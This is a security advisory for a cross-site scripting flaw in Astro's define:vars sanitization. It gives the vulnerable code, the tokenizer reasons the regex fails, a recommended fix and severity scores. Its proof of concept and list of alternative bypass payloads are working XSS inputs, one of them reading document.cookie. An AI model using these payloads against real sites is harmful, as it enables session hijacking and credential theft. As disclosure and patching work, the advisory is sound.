Astro: XSS in define:vars via incomplete </script> tag sanitization

Description

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /&lt;\/script&gt;/g to sanitize values injected into inline &lt;script&gt; tags via the define:vars directive. HTML parsers close &lt;script&gt; elements case-insensitively and also accept whitespace or / before the closing &gt;, allowing an attacker to bypass the sanitization with payloads like &lt;/Script&gt;, &lt;/script &gt;, or &lt;/script/&gt; and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record&lt;any, any&gt;) {
    let output = &#x27;&#x27;;
    for (const [key, value] of Object.entries(vars)) {
        output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
            /&lt;\/script&gt;/g,       // ← Case-sensitive, exact match only
            &#x27;\\x3C/script&gt;&#x27;,
        )};\n`;
    }
    return markHTMLString(output);
}

This function is called from renderElement at util.ts:172-174 when a &lt;script&gt; element has define:vars:

if (name === &#x27;script&#x27;) {
    delete props.hoist;
    children = defineScriptVars(defineVars) + &#x27;\n&#x27; + children;
}

The regex /&lt;\/script&gt;/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

  1. Case variations: &lt;/Script&gt;, &lt;/SCRIPT&gt;, &lt;/sCrIpT&gt; — HTML tag names are case-insensitive but the regex has no i flag.
  2. Whitespace before &gt;: &lt;/script &gt;, &lt;/script\t&gt;, &lt;/script\n&gt; — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
  3. Self-closing slash: &lt;/script/&gt; — the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape &lt;, &gt;, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a &lt;script&gt; tag → renderElementdefineScriptVars → incomplete sanitization → injected into &lt;script&gt; block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):

---
const name = Astro.url.searchParams.get(&#x27;name&#x27;) || &#x27;World&#x27;;
---
&lt;html&gt;
&lt;body&gt;
  &lt;h1&gt;Hello&lt;/h1&gt;
  &lt;script define:vars={{ name }}&gt;
    console.log(name);
  &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

Step 2: Ensure SSR is enabled in astro.config.mjs:

export default defineConfig({
  output: &#x27;server&#x27;
});

Step 3: Start the dev server and visit:

http://localhost:4321/?name=&lt;/Script&gt;&lt;img/src=x%20onerror=alert(document.cookie)&gt;

Step 4: View the HTML source. The output contains:

&lt;script&gt;const name = &quot;&lt;/Script&gt;&lt;img/src=x onerror=alert(document.cookie)&gt;&quot;;
  console.log(name);
&lt;/script&gt;

The browser's HTML parser matches &lt;/Script&gt; case-insensitively, closing the script block. The &lt;img onerror=alert(document.cookie)&gt; is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:

/?name=&lt;/script &gt;&lt;img/src=x onerror=alert(1)&gt;
/?name=&lt;/script/&gt;&lt;img/src=x onerror=alert(1)&gt;
/?name=&lt;/SCRIPT&gt;&lt;img/src=x onerror=alert(1)&gt;

Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a &lt;script&gt; tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:
- Session hijacking via cookie theft (document.cookie)
- Credential theft by injecting fake login forms or keyloggers
- Defacement of the rendered page
- Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.

Recommended Fix

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all &lt; characters in the JSON output:

export function defineScriptVars(vars: Record&lt;any, any&gt;) {
    let output = &#x27;&#x27;;
    for (const [key, value] of Object.entries(vars)) {
        output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
            /&lt;/g,
            &#x27;\\u003c&#x27;,
        )};\n`;
    }
    return markHTMLString(output);
}

This is the standard approach used by frameworks like Next.js and Rails. Replacing every &lt; with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as &lt; at runtime) and eliminates all possible &lt;/script&gt; variants including case variations, whitespace, and self-closing forms.

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-04-21 20:39:49 UTC
Updated
2026-04-27 16:43:31 UTC
GitHub reviewed
2026-04-21 20:39:49 UTC
NVD published
2026-04-24

EPSS Score

Score Percentile
0.03% 9.62%

CVSS Scores

Base score Version Severity Vector
6.1 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:C)
Breaking this can reach past the original component and bite other resources—bigger blast radius.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:L)
Attackers could change some data, but it’s limited—not everything goes.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Credits

  • offset (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm astro < 6.1.6 6.1.6

References

cvelogic Threat Intelligence